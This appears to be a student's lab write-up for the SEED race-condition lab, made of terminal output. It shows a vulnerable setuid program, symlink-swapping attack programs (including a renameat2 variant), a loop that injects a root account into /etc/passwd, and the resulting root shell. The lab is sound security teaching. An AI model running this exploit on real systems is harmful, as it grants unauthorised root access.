Race Condition Vulnerability

Task 1:Initial Setup

```
[03/22/25]seed@VM:~/.../Labsetup$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[03/22/25]seed@VM:~/.../Labsetup$ sudo sysctl -w fs.protected_regular=0
fs.protected_regular = 0
[03/22/25]seed@VM:~/.../Labsetup$
```

```
[03/22/25]seed@VM:~/.../Labsetup$ cat vulp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
[03/22/25]seed@VM:~/.../Labsetup$
```

```
[03/22/25]seed@VM:~/.../Labsetup$
[03/22/25]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[03/22/25]seed@VM:~/.../Labsetup$ sudo chown root vulp
[03/22/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[03/22/25]seed@VM:~/.../Labsetup$ sudo cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
```

```
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

```
[03/22/25]seed@VM:~/.../Labsetup$
[03/22/25]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/Documents/Labsetup/Labsetup# whoami
root
root@VM:/home/seed/Documents/Labsetup/Labsetup# exit
exit
[03/22/25]seed@VM:~/.../Labsetup$
[03/22/25]seed@VM:~/.../Labsetup$ sudo nano /etc/passwd
[03/22/25]seed@VM:~/.../Labsetup$ su test
su: user test does not exist
[03/22/25]seed@VM:~/.../Labsetup$
```

```
[03/22/25]seed@VM:~/.../Labsetup$
[03/22/25]seed@VM:~/.../Labsetup$ sudo nano /etc/passwd
[03/22/25]seed@VM:~/.../Labsetup$ su test
su: user test does not exist
[03/22/25]seed@VM:~/.../Labsetup$
```

Task 2:

```
[03/22/25]seed@VM:~/.../Labsetup$ cat vulp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}
[03/22/25]seed@VM:~/.../Labsetup$
```

```
[03/22/25]seed@VM:~/.../Labsetup$
[03/22/25]seed@VM:~/.../Labsetup$ cat attack_process.c
#include <unistd.h>
int main()
{
while(1){
        unlink("/tmp/XYZ");
        symlink("/home/seed/myfile", "/tmp/XYZ");
        usleep(100);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(100);
        }
return 0;
}
```

```
[03/23/25]seed@VM:~/.../race$ cat attack_process.c
#include <unistd.h>
int main()
{
while(1){
        unlink("/tmp/XYZ");
        symlink("/home/seed/myfile", "/tmp/XYZ");
        usleep(100);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(100);
        }
return 0;
}
[03/23/25]seed@VM:~/.../race$ cat target_process.sh
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
   echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash"|./vulp
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

```
[03/23/25]seed@VM:~/.../race$ gcc vulp.c -o vulp
[03/23/25]seed@VM:~/.../race$ sudo chown root vulp
[03/23/25]seed@VM:~/.../race$ sudo chmod 4755 vulp
```

```
[03/23/25]seed@VM:~/.../race$ gcc attack_process.c -o attack_process
[03/23/25]seed@VM:~/.../race$ ./attack_process &
[1] 1469748
[03/23/25]seed@VM:~/.../race$ kill 1469748
[1]+  Terminated              ./attack_process
[03/23/25]seed@VM:~/.../race$
[03/23/25]seed@VM:~/.../race$
[03/23/25]seed@VM:~/.../race$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
```

```
[03/23/25]seed@VM:~/.../race$ cat improved.c
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
 int main() {
        unsigned int flags = RENAME_EXCHANGE;
        while(1)
        {
        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");

        renameat2(0,"/tmp/XYZ",0,"/tmp/ABC", flags);
        }
        return 0;
 }
```

```
[03/23/25]seed@VM:~/.../race$ gcc improved.c -o improved
[03/23/25]seed@VM:~/.../race$ ll
total 80
-rwxrwxr-x 1 seed seed 16800 Mar 23 20:27 attack_process
-rw-rw-r-- 1 seed seed   211 Mar 19 03:07 attack_process.c
-rwxrwxr-x 1 seed seed 16792 Mar 23 20:32 improved
-rw-rw-r-- 1 seed seed   312 Mar 22 03:00 improved.c
-rw-rw-r-- 1 seed seed    45 Mar 19 02:40 passwd_input
-rwxrwxr-x 1 seed seed   252 Mar 22 02:45 target_process.sh
-rwsr-xr-x 1 root seed 17104 Mar 23 20:26 vulp
-rw-rw-r-- 1 seed seed   575 Dec 25  2020 vulp.c
```

```
[03/23/25]seed@VM:~/.../race$ ./improved &
[1] 1932219
[03/23/25]seed@VM:~/.../race$ kill 1932219
[1]+  Terminated              ./improved
[03/23/25]seed@VM:~/.../race$ ./attack_process &
[1] 1948237
[03/23/25]seed@VM:~/.../race$ kill 1948237
[1]+  Terminated              ./attack_process
[03/23/25]seed@VM:~/.../race$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed

^C
[03/23/25]seed@VM:~/.../race$ su test
Password:
root@VM:/home/seed/Documents/Labsetup/race# whoami
root
root@VM:/home/seed/Documents/Labsetup/race# exit
exit
```

```
[03/23/25]seed@VM:~/.../race$ cat passwd_input
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

```
[03/23/25]seed@VM:~/.../race$ su test
Password:
root@VM:/home/seed/Documents/Labsetup/race#
root@VM:/home/seed/Documents/Labsetup/race# cd
root@VM:~#
root@VM:~#
root@VM:~#
root@VM:~#
```

```
[03/23/25]seed@VM:~/.../race$ cat vulp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);
    setuid();
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }
    return 0;
}
```

Task 3: Countermeasures

```
[03/23/25]seed@VM:~/.../race$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
[03/23/25]seed@VM:~/.../race$ sudo sysctl -w fs.protected_regular=1
fs.protected_regular = 1
[03/23/25]seed@VM:~/.../race$
```